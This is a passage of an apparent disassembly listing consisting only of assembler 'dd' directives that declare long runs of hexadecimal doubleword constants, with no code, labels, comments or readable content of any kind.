		dd 147E6C71h, 7F7A098Eh, 0B5ECDA00h, 0F770D20Ch, 72AE00CDh
		dd 3F26834Ch, 8F028053h, 38EC3AC5h, 60E8A367h, 63EDC8C7h
		dd 0A09D0E27h, 0F3EEC4h, 0D0E6EA3Eh, 197AFE43h,	18D27E26h
		dd 0FE3F900h, 337C0D5h,	0E7946982h, 30B7685Ah, 0B735AFC2h
		dd 902481E0h, 0A7003DEDh, 0BECB6B45h, 0EED939B4h, 0DAA60A80h
		dd 88FC791Ch, 381F072Ch, 1CA630Eh, 0DE7C2134h, 0C557FCh
		dd 0D2CDFE84h, 0AAE3DA27h, 0DC553300h, 0FFA0E830h, 9F45034Eh
		dd 0E1CB70F0h, 0EE46A688h, 0AFB63814h, 7C738B4h, 3705CEDBh
		dd 57278FD0h, 2921004Ch, 58B81A78h, 0D51211B3h,	0B4400B5Ch
		dd 0A9821F8Ah, 46FB00A2h, 582CC101h, 1D00D1AFh,	66577D3Bh
		dd 98B865FEh, 77FF670h,	0A4418F4Dh, 9E068086h, 85FA265Eh
		dd 0C22B1C0Ch, 4639C7h,	8D2FF863h, 246E5C62h, 0A8181E60h
		dd 884C40h, 0F0C4F9CDh,	3470B3CBh, 6648151Bh, 3611D810h
		dd 5E7C78h, 9265CA60h, 4BA4BF25h, 6D7E7600h, 3EB07D16h
		dd 443F0762h, 70A7ECB6h, 9E9021Fh, 0A6ABCA04h, 0A0C13D52h
		dd 0ACE4674Dh, 0F90D2E9Ch, 0C48B00C8h, 0D273E66Bh, 17186F00h
		dd 9749EDA4h, 957CA3h, 890DFB59h, 8F8A531Ah, 0F5925A69h
		dd 9D493900h, 281C6DCCh, 1080A9BEh, 0AD198ED3h,	182B00B0h
		dd 0C35DB65Bh, 7E0D88Ah, 7E5F7F00h, 0BDED43B8h,	0C24D029Ah
		dd 824991B9h, 0C642F0E0h, 178BB500h, 0AD386B59h, 797B0094h
		dd 0E789FD64h, 75005CECh, 65C5DA85h, 672C33h, 39C7E8F9h
		dd 1A7354E3h, 7053E101h, 0C13C4877h, 3807E8h, 3A0EAFB3h
		dd 0CCE8356Fh, 0DB8AB800h, 0A8BB1929h, 0CE009517h, 0F57A54E6h
		dd 9952C00h, 0F34ABEC0h, 0C7C40742h, 0B070B920h, 2D61743Ah
		dd 7A395E00h, 110AA782h, 395F4C0h, 9A6BF02Fh, 66984750h
		dd 7600597Ch, 529DF301h, 8A25DBh, 863B276Ah, 8722DC21h
		dd 0C72A6D24h, 0F030A500h, 1E4070C8h, 4398E6h, 3D6FBDF3h
		dd 2DF09744h, 18244BE0h, 9F01F48Ch, 1D4C3804h, 172C5C24h
		dd 8EEE3Ch, 0B4583458h,	0E8A8C6FFh, 361F9703h, 6587F2BAh
		dd 649762B0h, 818C3230h, 17726Eh, 4B442567h, 36B758C6h
		dd 8BC2FD4Bh, 5C944083h, 8F741E7Dh, 0F092EE0h, 0C20F013h
		dd 11104351h, 4563BC04h, 1380BF3Ch, 0A6831Bh, 0CD67E089h
		dd 845B6085h, 0F834D803h, 0A0A0E229h, 0E01EEEh,	9FD12FB8h
		dd 79A0E3Fh, 5100547Bh,	0A609F805h, 5734FD0h, 0F2F408ACh
		dd 0A200CF3Bh, 0C4601A30h, 0C2FE7F08h, 3E6BF00h, 0FCC3EF12h
		dd 0FB701DBh, 0D0AE17B8h, 0C4A6D436h, 0B8903A7Ch, 8E5FBE00h
		dd 74AF7269h, 8C251E1Ah, 679B8078h, 70644C73h, 0A190310Eh
		dd 0F485C013h, 87121Fh,	6C8B26FEh, 0EE393220h, 93BBFD00h
		dd 8A8DFC1h, 0F897090Fh
		dd 9A806211h, 0F49A3B34h, 88044902h, 0C02BE6E5h, 14FD2Ah
		dd 0F10EA889h, 58BAB6A4h, 46504A00h, 0FDFC612h,	87F801D4h
		dd 0BCF07E8Ah, 62ACDC48h, 271C2400h, 0FCC944C4h, 14B70047h
		dd 0F26420D6h, 0E6FE23D8h, 5650A400h, 1A3CC4D5h, 4FB80011h
		dd 39C3D651h, 3200AA07h, 0E564B731h, 8E433Bh, 7D8512EDh
		dd 7C914DF8h, 0BB45DD38h, 0CF3C809Ch, 0A4BDE96Ah, 4CAA3BB7h
		dd 0CC340B00h, 0F6AC0133h, 0D2CF900h, 0FE07F170h, 2A87F85h
		dd 33A3B193h, 0DB806BE2h, 4B30A060h, 0C97A887Bh, 0AECD701h
		dd 59D02252h, 79BB4FD0h, 1550EEAh, 3A25CC7Bh, 0BDAAC04Ch
		dd 8F0056F0h, 107FB26Ah, 9E2BB6h, 1110766h, 0A2EA0A55h
		dd 0FC1FE400h, 0C0046E36h, 0DEC00E0h, 0CEAC0FDEh, 32003AC1h
		dd 0F6F880E3h, 7E0C5DBBh, 0E23C008Ch, 0CDD8EFAAh, 0C90777C4h
		dd 24254956h, 21DBD9A0h, 78E51F9Ch, 26DF80B4h, 0EB7BF3Ah
		dd 10CB5100h, 6158CE12h, 2EC700ECh, 6807AA06h, 6AF8017Dh
		dd 9525FC00h, 45362470h, 7CB303B6h, 7652DC53h, 2ABEF1E8h
		dd 2004FA00h, 0AB85698Dh, 0B348003Fh, 5787219Dh, 0A6307FE7h
		dd 0AC94D87Bh, 622300C3h, 583DBDB0h, 297CB2D0h,	3600C0F6h
		dd 2CAEA947h, 38A73Ah, 0DBD16418h, 38A2D4Bh, 9A542500h
		dd 9B3D3BCDh, 92760011h, 380907F6h, 62499A3h, 8D0082B7h
		dd 6682F94Bh, 462B0091h, 0A3C838CEh, 9D18E4A4h,	2044A181h
		dd 8D40072h, 0FE1FEE5Dh, 39004C86h, 55F896F4h, 0E4B181D7h
		dd 0BA970312h, 0B2CE0BDFh, 4042E1D9h, 0BC8056F7h, 7451EF03h
		dd 0D04C4F08h, 9F3F118h, 0D0572D30h, 9B613800h,	9E380BBEh
		dd 861F126Ch, 624B000Eh, 40095099h, 985CC28h, 15755843h
		dd 0DBCC04h, 2EDA507Ah,	39D93BF4h, 0FB8AB100h, 63B210FAh
		dd 0F8929B01h, 48748413h, 69F2C051h, 0EB2C20h, 0D87D2E3Ah
		dd 0BBE41BF5h, 0A4322F0Eh, 1E83471h, 0E7641C07h, 5CECD203h
		dd 8A7510h, 23502A4Ah, 69D0F09Bh, 72D83D19h, 93304430h
		dd 0EF1800A3h, 63FDDE07h, 58903E4Ch, 2D7E381Ch,	1B56DC0h
		dd 3011AF68h, 82382804h, 0DF0EFDFEh, 0E08E133Eh, 0F676C0F4h
		dd 226607ACh, 0F0CB7BF1h, 0FFC57161h, 0E721871Fh, 8E4CD785h
		dd 881E8400h, 0EF455D42h, 2755D4h, 3B71847Ch, 0C56896Fh
		dd 5C007B71h, 0D46AF105h, 6719A2h, 744AD188h, 84189FE1h
		dd 91108660h, 0B3D462h,	35C60F7Bh, 0BC50CADEh, 383AC273h
		dd 931600A2h, 0E3B4B7E0h, 0FED4041Ah, 0C08BDCA7h, 77471CD9h
		dd 0B0832600h, 377E0AACh, 0D2B10445h, 0C0CC0D72h, 6E12D358h
		dd 0FF31DF00h, 5B1F5DA7h, 4B810176h, 0DBFDB13Dh, 0A2843040h
		dd 5E351700h, 6A560A9Dh, 0B1CE3054h, 9078AC1Ah,	9680C00h
		dd 0F3D37952h, 0AE3A0465h, 8074CC9Ah, 0C6DE34E8h, 0B4363E00h
		dd 56CE80EFh, 1C03980Eh, 0C054E810h, 0EDEE7D0Bh, 0BE00C2CFh
		dd 0A2404682h, 37C1264h, 6D8F3808h, 198834F9h, 600FAC8h
		dd 0B16CC54h, 390E1C4Fh, 0FD8E7AC6h, 0CDC31802h, 0C098916Ah
		dd 590E6FDEh, 32F79Bh, 9D711715h, 8F4539F3h, 99B83D80h
		dd 94B603D5h, 59BBE10Fh, 5B6FA120h, 74F86DE9h, 330000Ah
		dd 1935BFC9h, 0DB3E1F9Eh, 23D460D4h, 469D98h, 0E0E2B6A3h
		dd 9C8A3705h, 0E4874A00h, 0AAB023EAh, 0CD0701FDh, 0C227D3ADh
		dd 0BC28DCA4h, 44D4AE13h, 8641680Ch, 0A160000Bh, 9FA85873h
		dd 0D1001D6Bh, 0A05256CCh, 272EE7h, 59A57D0Eh, 0A485F97Ch
		dd 0F80E9374h, 0C0446F16h, 1F5CDCFDh, 41810906h, 0F8013E33h
		dd 0CC630EADh, 1D00E1A5h, 73068791h, 1807A369h,	293D2367h
		dd 381DC5A8h, 0D50E5A7Fh, 0A2722033h, 0C09232FAh, 0A8302A7Eh
		dd 273F80C8h, 5CE8825Dh, 40EE620Ch, 1A9A428h, 3D641FE6h
		dd 62DD6E13h, 98440344h, 0B0DE530Ah, 40518EDh, 0BDE85177h
		dd 0CD10905Ah, 1033C42h, 874E8BF7h, 544098BAh, 4BEA00F2h
		dd 44B55132h, 8E00A73Fh, 765A69FCh, 1F36D79h, 9A6E7356h
		dd 0C4843410h, 9501C363h, 0ABAF6114h, 40E0F3CDh, 0F0AA0131h
		dd 0EC6E493Ch, 9B4C4CFh, 93473500h, 29EF183h, 57650038h
		dd 0D91EEFA7h, 17498E9h, 87844800h, 0DED702D4h,	0EB390094h
		dd 636D0CCCh, 560012F6h, 3E03F584h, 537942h, 18646177h
		dd 8CCFF187h, 865801F6h, 883F0E20h, 6C5C206Eh, 9F79FDh
		dd 54654E5Bh, 213C9089h, 0BAB2F839h, 0ADEA805Ah, 0CEC6116Dh
		dd 0EBFD09ACh, 968C4464h, 0AF0EC5A8h, 603D5816h, 0DA591D49h
		dd 8CBA1Eh, 63AC1582h, 8B97F567h, 2AF12D00h, 45AFC95Dh
		dd 56FF006Bh, 0EABA4655h, 0E1FB2D4h, 0A64224C1h, 4067E660h
		dd 7A8193E0h, 82C81D50h, 2093E2h, 67622D08h, 2A01FD8Fh
		dd 0ABEAF0FEh, 0E040A13Ch, 0F7DFB9D8h, 9C60CED5h, 95930C53h
		dd 8450C3D7h, 0E09E6207h, 36315ED6h, 12C873D9h,	23D4000Eh
		dd 0B689628h, 910074CFh, 701CD8B7h, 7001FBA1h, 0D3DF0A79h
		dd 0E8F6A3h, 8DFFC31Bh,	7D007F14h, 82641397h, 3A94A6h
		dd 9D1CAAEEh, 0E54108Bh, 8D6E3418h, 8CCC80h, 380BC85Ah
		dd 2240B855h, 1CE7C500h, 0F20A1853h, 1D120EAFh,	0C180B4EBh
		dd 0D9B6A4F0h, 8E7BCF00h, 69E12B58h, 38F8027Eh,	632EB524h
		dd 41778441h, 0F46898ECh, 5403BFCEh, 8CAF812Ah,	47D1B0F6h
		dd 0AA8A0229h, 9157DFA3h, 393C2B40h, 28178703h,	0B8EA9749h
		dd 601A9E38h, 6AE51026h, 25C3C3Eh, 0BDB7000Ch, 3A25F6C2h
		dd 5E9D00CAh, 0A2D0578h, 4D00197Ah, 15A3AC11h, 0EB5A1F0h
		dd 5A71EEEh, 0D95EFC00h, 422CA5C0h, 0D500D487h,	3A1BF8F6h
		dd 24E27E58h, 800CFB5Eh, 7B07A9CBh, 0C80615AFh,	9FF7C26Ah
		dd 86BB00D8h, 0A1698B6Eh, 42001631h, 1297768Dh,	445DFDh
		dd 70523EF0h, 0B654552Eh, 0AB48D072h, 0E4632850h, 8A1EF200h
		dd 3D4981A1h, 34660FADh, 6A2076D1h, 362E7AEDh, 8E1E4000h
		dd 5B4E7B5Dh, 0FBE40085h, 0CA7CD820h, 11001BDEh, 65232A51h
		dd 2DE092h, 5A62F1C5h, 4F6D821Ah, 0E0D9CA30h, 7F413FFCh
		dd 958600D4h, 10E8C348h, 4F284DF0h, 7600BFD6h, 0C2FC0A52h
		dd 0ED846CA5h, 3922DE30h, 8B824417h, 464EC893h,	9A332CC0h
		dd 90A2A81Ch, 0DF0912C1h, 0C70F33Ah, 7AA90BB5h,	5027308Ch
		dd 0EFF9903Bh, 34000944h, 139162F8h, 7FC703Ah, 941A2F2Bh
		dd 3FCA6027h, 0CC009752h, 0C78D393Dh, 0F4B59D29h, 0F06E5976h
		dd 0C011F207h, 4D0A807Ah, 87022603h, 357FFCE5h,	0D6D2412Ch
		dd 62024C28h, 790A64AEh, 3928D801h, 6B4DB07Fh, 4CEDC101h
		dd 8119536h, 48E8CAE0h,	0D7015363h, 0F9FCAA19h,	9E9D8C5h
		dd 1FA7D62Ch, 0E6DADC06h, 0AAA60410h, 8001FA7Ch, 27D7740h
		dd 696CB700h, 4534BC55h, 0D3C00072h, 0FFE0EDBDh, 0E53E4CB3h
		dd 874BBDBBh, 0F8017E09h, 609B27E2h, 7E5AA60Ch,	613F01B5h
		dd 0A7443DA1h, 9B2ECCE5h, 7651E100h, 9120DEB8h,	6E40056h
		dd 1DDF1C50h, 0F21E9B7Fh, 4BC133E8h, 0D87294A4h, 793A3470h
		dd 25C7882Fh, 0C43F3C00h, 8A7C4F9Eh, 3A310716h,	406AE103h
		dd 35C3789Ah, 0E3A53900h, 5080B449h, 9C9C50A1h,	8D02004Ah
		dd 0F89394D9h, 2A7FF060h, 377BFA00h, 0AA488372h, 974F0BFBh
		dd 0A0201498h, 0CD1C2CAEh, 99CF4B05h, 3C87A406h, 0ED5F3890h
		dd 774571FAh, 1E0AFA44h, 0E449B7DAh, 0A0803878h, 94DC1B09h
		dd 0F005D8Ch, 7405F16Dh, 0C985C3EDh, 0B820C890h, 2799A312h
		dd 3029B109h, 31D400ABh
		dd 1F110C57h, 189E3E4h,	19ACBA17h, 0EC34E94Ah, 0C25C94AFh
		dd 4B9Ch, 0DBFCFD7Bh, 3B76007Eh, 0ECC12F78h, 1561B175h
		dd 0A0309B96h, 3ED69240h, 87DF03F3h, 4CDE26BFh,	997AC580h
		dd 0DB617809h, 67D6A2h,	24708B25h, 9C004BE8h, 16C195E5h
		dd 0E7F632h, 0A15E2315h, 37F0F750h, 7B842800h, 42E4BD91h
		dd 95AB0E56h, 17A138E2h, 89DD7857h, 404764F0h, 3E5A3964h
		dd 2941BF9h, 0F703E8EAh, 941F1AD4h, 497C10A8h, 0D50F50B8h
		dd 20BF2F4Bh, 37AAB2ACh, 39E20093h, 0C7AF594Ch,	54B89833h
		dd 9F4F5C07h, 2664D0E6h, 609A10C2h, 17E81DE8h, 0B11CBh
		dd 2E2BF128h, 3409CAA6h, 8008502Fh, 40BC5AA8h, 0E89B0264h
		dd 476583AFh, 5370E07Fh, 324983Ch, 2D9AA4BEh, 70D049E9h
		dd 6800410Ah, 2881719Dh, 3F73054h, 4701EB7Fh, 63D8823Eh
		dd 0DF006C56h, 7E51B705h, 0B4333B3h, 1474BB88h,	6046DC00h
		dd 0D13838Ah, 6D1F907Ch, 23698C40h, 176E9187h, 637354h
		dd 9C920A94h, 6C1F41EAh, 7FC0BAD0h, 6D40E789h, 7810C0CEh
		dd 61ABCC7Ah, 2DC60F1Ch, 0AC12F281h, 9C241092h,	1FD7098Dh
		dd 3466E36Ah, 89222D3Ah, 804B38F5h, 4D559DD8h, 538E1DA5h
		dd 59D25Bh, 3464D854h, 331317B4h, 7C00C187h, 0B3674669h
		dd 0F8D107E3h, 0E713CA1Eh, 93E6206Eh, 0EE001B5Dh, 11973808h
		dd 7D6AC62h, 2C4325CEh,	5CC1059h, 1700C669h, 1D4F0C9Bh
		dd 0A31CEDDAh, 489AE08Ch, 0D61303D0h, 41B4F929h, 379F8CC0h
		dd 34CCD5Dh, 92A98C3h, 4110078h, 31EC72EBh, 4F3A8AE7h
		dd 30853BF8h, 621A219Eh, 0CCAC017Eh, 0BAFB8E66h, 0E3C980E8h
		dd 0C2C93A7Ah, 557C0359h, 9D5F2D7Bh, 6D9800CDh,	0CB7317A1h
		dd 91327E1Eh, 50C25500h, 79C85697h, 49B8A0C6h, 0D1CE506Ch
		dd 8580179h, 37B08F5Fh,	0D87EC91Bh, 6A3B88BBh, 3583001Eh
		dd 4BA4D860h, 0F60C00F7h, 14469349h, 8B13F27Bh,	9ABC4AD0h
		dd 0AE8F8700h, 0BBACF5FCh, 8351AD00h, 0BDC764F0h, 38730F85h
		dd 60320CEh, 41E8EE86h,	0E3019469h, 0DEE89117h,	95205C2Bh
		dd 0E5900118h, 5D73D5DBh, 8F3AE0A2h, 4A28D600h,	1D41A15Fh
		dd 10B46192h, 0E4A6C062h, 6A00CF46h, 0B94BE9BDh, 13D595B3h
		dd 99DC09h, 1A967AF0h, 10EA1D9h, 6EE906h, 0B6485657h, 8C9501FEh
		dd 0E68954EFh, 0F4FFEC47h, 0D5A4C10Fh, 4842A020h, 503AC5DEh
		dd 1FA1CC22h, 823B91A5h, 31707F5Eh, 6CE09A62h, 0F9009304h
		dd 0A35BC703h, 10F1Bh, 0F39EE55Dh, 404EA545h, 1484EE00h
		dd 0C0E07142h, 274763Ah, 1D10DBC6h, 0BEE318D6h,	706A6801h
		dd 79918BC3h, 0B0FBA9E8h, 241E7A2Ch, 1E0D4CBAh,	42729CB8h
		dd 0D405DD5Eh, 184F6160h, 70BA652Eh, 7B0EF000h,	74DBB0h
		dd 0FAF277A7h, 6E84A6C9h, 11AF1401h, 0F4FE96C6h, 3CE5CECh
		dd 0E8056316h, 0FFD83A3Eh, 94003B2Dh, 672561EEh, 40F119h
		dd 0B3E09A7Ch, 1B0F6543h, 6D995713h, 0E1669440h, 99E2BB5h
		dd 0F6CC3C8Dh, 4CF01468h, 59679000h, 808651DDh,	6AA700ADh
		dd 0BDDF4B9Dh, 21003414h, 8D712606h, 1849929Eh,	58D2C61Dh
		dd 390CBD85h, 0D88A4A2Eh, 6D2809DEh, 4AE2170h, 82CC5C80h
		dd 0AC059A0Fh, 5A5124F8h, 0CB1D1C80h, 0B8BE6FBh, 3B4A86A2h
		dd 3478F080h, 631CA574h, 1949C561h, 6AF060CCh, 41EE0706h
		dd 60F06D10h, 0E44B3FB1h, 0BDFEA4F8h, 523CCE01h, 9FBCB39Ch
		dd 55F2C840h, 8C718Ah, 844928D9h, 9A9844B4h, 0CBC9EB24h
		dd 7FD6E600h, 3B650885h, 5E007B33h, 0FC2CB9E8h,	200016B2h
		dd 392DFDC2h, 0C4CB69B0h, 0D019E5B8h, 9F2B2154h, 0C7EB600h
		dd 897C3E3Ah, 38EA1D7Dh, 7AFF4058h, 5991F6Fh, 2FF88CF2h
		dd 9D0EE7EEh, 0E30946F0h, 0D1167BBCh, 0DDD412C6h, 7E4B04EEh
		dd 0C07299D8h, 0B44FE694h, 1B018E00h, 73EFD9BAh, 0FBA800A4h
		dd 0F0DAB82Ch, 8B00B170h, 89DAC35h, 79CF657Ch, 9F7500DCh
		dd 0D4427D09h, 0B2EA83F6h, 0E082A100h, 8D7C5ACDh, 0E51E219h
		dd 69A07F1Fh, 0E3C3D582h, 5B4F91C0h, 594AAA01h,	2D03899Fh
		dd 8C801683h, 8490FAFDh, 3C1DE7E4h, 1542105Fh, 0E0DFE192h
		dd 44E915h, 74A08EE6h, 0B49A1D52h, 0CF4F6C00h, 0DF9B1316h
		dd 9222002Ah, 8339A7B3h, 0F40E4407h, 0C0CA5690h, 6CF7D173h
		dd 95480302h, 2350BDC2h, 5AB9E698h, 876788A0h, 56F26800h
		dd 97B3B76Ah, 0BEC403C7h, 0AEFD0DEAh, 0D93812A8h, 0AAE99A00h
		dd 92A483CDh, 0CC80E32h, 5160930Bh, 0D5558DCBh,	9E8C0600h
		dd 64A0ECE6h, 782D03F7h, 6317C10Ch, 0F025D398h,	9FA95200h
		dd 7F6010E1h, 9A5EF7h, 9B581E44h, 7E00D9D8h, 3835159Dh
		dd 4EB999h, 0EE8947Fh, 63376F8Dh, 1BB86460h, 0B8465C54h
		dd 6ECA01D7h, 0B3B817DBh, 828E7012h, 0FA02E700h, 63AFAB5Ch
		dd 8BBA0946h, 90A0DE07h, 6CA07DD2h, 0FB98FC74h,	8B48C09Ah
		dd 0D35D006Ah, 0E006F5D8h, 232900FBh, 2E46FA9Bh, 909EB377h
		dd 878BD6C0h, 0AC565EDCh, 0DA6C1C49h, 0CEA880FDh, 0E8264CD2h
		dd 98CB80Dh, 6E361F6Bh,	64B4B800h, 5C00B12Eh, 27C9A79Ah
		dd 91AA8346h, 0E85980A4h, 0DB2106Bh, 5841CE0Fh,	0AA5EC075h
		dd 119D80Ch, 0E74CDD8Eh, 0F8B2D39Fh, 0D50B6AE2h, 330381h
		dd 0B698353Fh, 0D89960CEh, 9F8D204Ch, 39007F77h, 7CDC8828h
		dd 39CA970h, 0BCCD691Dh, 85B01E67h, 72008C5Ah, 68CF7AA6h
		dd 5CDD21h, 1FFD9CBh, 3962A4D3h, 0E5C01000h, 475389B6h
		dd 3CB2782Fh, 0FF8002FBh, 6A29212h, 67006E74h, 0E2855C08h
		dd 1FDA0A75h, 0C069243Dh, 499A0430h, 0E600D6E0h, 0F8D5EA16h
		dd 31A22FAh, 0C08506F3h, 5498C420h, 5800627Ch, 872EDC12h
		dd 12C50E47h, 1194510h,	3B301604h, 212CC0A5h, 43E2BF07h
		dd 37C09B3Dh, 0F0E3C026h, 1A67550h, 0FA8C8239h,	3C60BDD0h
		dd 0F7790308h, 25ED2CFh, 7C8AA810h, 18E08E7Ah, 0AC9856FDh
		dd 16D0BC00h, 0FBBEBA4Dh, 0C462002Dh, 0E4A06D18h, 0F905A2D6h
		dd 0EFB7926Ah, 604B01C2h, 463BAF8h, 7AA04932h, 0F51480A6h
		dd 0CE004468h, 69437DF0h, 94D9F3Ah, 6C0EEB75h, 54921000h
		dd 7600FDF3h, 29CA5AEh,	133FC1Bh, 464789BCh, 0FC3935D1h
		dd 102129Ah, 548FA6B6h,	3D18C888h, 2D5DF820h, 0FC80B9D6h
		dd 8C9C2C3Bh, 0BA091300h, 0B8197051h, 0E983FBDh, 93145B00h
		dd 8934DA7Ah, 0F3C6C300h, 7DEC66B0h, 59651F71h,	5581076Bh
		dd 14CEB07Ah, 0B504442Fh, 79FC35A7h, 0FC6128F1h, 0C2CAB800h
		dd 292B834h, 298C180Fh,	0F5803E8Fh, 0C05E7701h,	0A81A0B30h
		dd 0EA5733D8h, 6CB2F3h,	59402DBFh, 9250D41Ch, 4E023C96h
		dd 4212603Ah, 70D274h, 27FDBAABh, 317F6713h, 804B253Dh
		dd 9389BBECh, 0BE6F0CFh, 0FF2BDE9h, 0C49038C2h,	671F1EFCh
		dd 0AF81BF58h, 0CDB1312Ah, 0D46BFCh, 7485E6A0h,	75405DE7h
		dd 0FA5294A0h, 2D41B400h, 1A4D25C6h, 329035Bh, 30E07C38h
		dd 60094BC9h, 5E449DD8h, 600C9905h, 0A9F64065h,	5DEFE300h
		dd 0A7F702D9h, 3107007h, 4E8EA5B3h, 92C07546h, 6E006F8Bh
		dd 0F0FC4A5Dh, 0E7052C4h, 89DECF85h, 90C7D4E7h,	0D6105CA7h
		dd 18C65500h, 0B5FD28Ah, 3C3A187Ah, 0EDCEA038h,	0E3D17E00h
		dd 0B04FE8CAh, 2BE426B5h, 676800D1h, 0F3413E44h, 5BFF7900h
		dd 0BF579146h, 17F43Ah,	0A6F7149Fh, 1987939Ch, 4B0281FAh
		dd 5C67AE42h, 0C3F8EAB6h, 2136C888h, 1AB424A6h,	866A9990h
		dd 0E428C9h
		dd 2CE67B55h, 42E8CB3h,	7AF314C0h, 67A5C3D4h, 10D916B8h
		dd 0C38B94A8h, 0A81CCF24h, 9633E100h, 2C2524E9h, 800CFEFCh
		dd 85F50482h, 8A9807E6h, 2A21DA00h, 43F6A687h, 0C3BD004Eh
		dd 0FD5F3735h, 5501AFE5h, 0B2393DBFh, 90842368h, 0CCDCBC66h
		dd 750F6D4Ch, 0E0985C49h, 376B8525h, 107D00F5h,	43299D0h
		dd 0EE24113Fh, 711FCC14h, 0BAE7A887h, 1B348240h, 0C3B870h
		dd 910F5AC2h, 17E1DF0Ah, 0EFF0117Eh, 0AB9C6F2Eh, 0D0078F3Bh
		dd 0C8BDC04Fh, 3A0E263Fh, 0BA0071D3h, 895FE2Dh,	0AC09AD05h
		dd 802F2AF6h, 0F580095Ah, 9FF40004h, 5CAE3602h,	5301B5ACh
		dd 28DDE377h, 43DD9560h, 442A4F21h, 38B2284h, 0C8720130h
		dd 382EC76h, 700624F9h,	83E048EDh, 97EC23E2h, 91CEF012h
		dd 4D00F7A8h, 1D86D06Fh, 0F11FA180h, 10F07244h,	0C7027Fh
		dd 380918B2h, 0F06A162Fh, 0AA4A250Fh, 985962CEh, 0EBF8A06Ch
		dd 0A84B47EFh, 0BA55D8h, 1CE8772Ah, 24A7E49h, 56C73700h
		dd 0C16217DAh, 6D77A5h,	52D8C6AEh, 0AC113E34h, 2F81B702h
		dd 7065AF13h, 0D3350764h, 632E78BBh, 5D8873DEh,	0F701820Ah
		dd 4EDCA056h, 869EEC99h, 0D0ACBBh, 6D7EEBC6h, 74010387h
		dd 5BB6AB73h, 7CF4116Ch, 9BAC1826h, 9EDD115Ah, 98F216FAh
		dd 0E8145724h, 8F90B007h, 7C3FC2F0h, 68B10039h,	0E46AA133h
		dd 0BF06BB1Ch, 0C1E17FA0h, 0A4C9820h, 9E2183CBh, 0F53EC0h
		dd 63CA1286h, 16FFF6A7h, 2798CDF6h, 6FDD3Fh, 58E0BEB2h
		dd 96C3B1h, 46E6955Ch, 2E9CCE41h, 0D9CA1D03h, 0A0C41B49h
		dd 17EC08h, 2632560Eh, 0B2AC7D6h, 0D83F7607h, 0E05F5A50h
		dd 31AB8A1Eh, 38E901CCh, 21C9BE5Dh, 0D4A4DC22h,	0E176B300h
		dd 0E547942Eh, 5E950423h, 8731AFD0h, 0AE2A306Ch, 91001299h
		dd 0D37CEBBAh, 2C137B87h, 9AA45A2h, 44803C62h, 8B8AAFBBh
		dd 0C5E92E07h, 0EB52B90Eh, 658C8069h, 1D203199h, 97C13583h
		dd 0ACF0C00Ch, 0A2181C2Dh, 0F2286A73h, 7721006Dh, 686B50EBh
		dd 0D103C8DBh, 4C763B80h, 0BB56A044h, 0C623053Fh, 829831E4h
		dd 7C51669Ch, 2ED46300h, 7DE1641h, 0D8AC219Bh, 0B38F1Ah
		dd 272C124Ch, 3F00E4C1h, 1FEBA235h, 0FAA559h, 0F0A32A4Ah
		dd 0A1D05F1Eh, 70CEDD00h, 7CB37516h, 0CB6C00EEh, 0A064037Dh
		dd 0A4F4FE5Ah, 7E7FAE0Bh, 125018Ah, 322A2052h, 0FF80B59Ch
		dd 0E732A2ACh, 61002894h, 9FFC1D9Dh, 1444ECBEh,	0B4B0E01Eh
		dd 19076300h, 83B12969h, 5D3BD400h, 0AA7BEEBAh,	15B513AEh
		dd 0F0CA28h, 2C9AC34Eh,	38538A4Ch, 0D62CDAD4h, 0EEDF00FEh
		dd 6427B3E5h, 17B1A800h, 28CAE056h, 747C2EE1h, 3E900F8h
		dd 2C343614h, 5FD9A9A0h, 3315DB00h, 65904ECAh, 4DF82Fh
		dd 0B3BB1B5h, 3008E505h, 1FDEB0C0h, 1986C37h, 112D62DCh
		dd 0F8C4CCB6h, 95FE8A34h, 380B5538h, 0FFB78022h, 58846F44h
		dd 0AB50070Ch, 208766F6h, 0D7E621F4h, 0C0F9D1FFh, 7300EC1Dh
		dd 8867038Ah, 9CE8EFh, 3D786EF2h, 900E75DFh, 5CAB9200h
		dd 0A999BE71h, 0D1A617E1h, 4614059Ah, 0C405FB30h, 0B800A381h
		dd 7CA887B9h, 0E7CF1D1Dh, 7DBA21h, 0D6912B35h, 0DA582A7Eh
		dd 0E9764100h, 6E2FB5F0h, 87683CB8h, 48005D4Ch,	854C2482h
		dd 3C03D5F9h, 0F6C4C061h, 395936Fh, 3B363121h, 81844B8Bh
		dd 0F02BF0DEh, 683CFC6Fh, 5C9204B3h, 50E8853Ah,	0BD6E1A01h
		dd 404AE6A9h, 5DCA1BF5h, 7C645300h, 0BA7949B5h,	0D46D00F7h
		dd 0CF0DE7EFh, 16030540h, 1304120Fh, 90A0012Fh,	0A721A5D0h
		dd 0BF9C2089h, 8F79AF3Fh, 0E04CF50Eh, 0EEEB0C9Ch, 100300A4h
		dd 98A53244h, 0CC001E6Ah, 0C7A50F8h, 1F542F3Bh,	401FFF5Ah
		dd 4562AECAh, 0E701B0B3h, 0C33C4ECCh, 709FD339h, 76598FEBh
		dd 0DA8041C0h, 48012647h, 0ECD49EB3h, 75E1BFF3h, 680ADCh
		dd 0ED5F3E20h, 0E9C6A94Ah, 0A19C4D00h, 0E276B5E8h, 0E1750927h
		dd 18703ECBh, 6AF6039h,	0A5C27BB6h, 1FF50084h, 9056976Fh
		dd 0D7001B47h, 0D39F77F1h, 0FCFFC20h, 41099949h, 215C6E02h
		dd 4334C8F8h, 8B1A06Dh,	31141578h, 0F6008812h, 986756E1h
		dd 0AE7C8562h, 1E67EC5Ch, 50C3027Ch, 98E684E5h,	1C1621h
		dd 9C8D4026h, 4E24A5E9h, 0DC8CAD00h, 0A4E8F213h, 0D74C0052h
		dd 616C22D1h, 0BA01E08Fh, 8C19E429h, 0F0D0EDB9h, 0A2991CE2h
		dd 0D98D00BEh, 0FBBDDF70h, 2CAB012Ch, 4AB5C804h, 4F4BA101h
		dd 0B54E052h, 0D1FF9500h, 18724791h, 0E7EE001Fh, 2BCDA555h
		dd 0A4008211h, 0E0C43692h, 5C9006h, 0AE812EF8h,	0D22066A2h
		dd 4B8CDE00h, 794E0E9Dh, 89EE3CF9h, 1CBF07F6h, 30416F69h
		dd 0DCA31A30h, 7F4FCC00h, 2A08E4A0h, 90FD00BCh,	5949377Ch
		dd 15BDF9Fh, 7EE4E003h,	0BA50A877h, 0A27401D6h,	633511FEh
		dd 0A8E870C0h, 31EA0516h, 70821900h, 5C795B6h, 8155722Dh
		dd 306CF073h, 9BD17717h, 0F3CC7200h, 0BCDC66AAh, 0E51F0248h
		dd 9050E7C2h, 38836903h, 0A0634B53h, 7CA5CD3Fh,	0F86BF05Ah
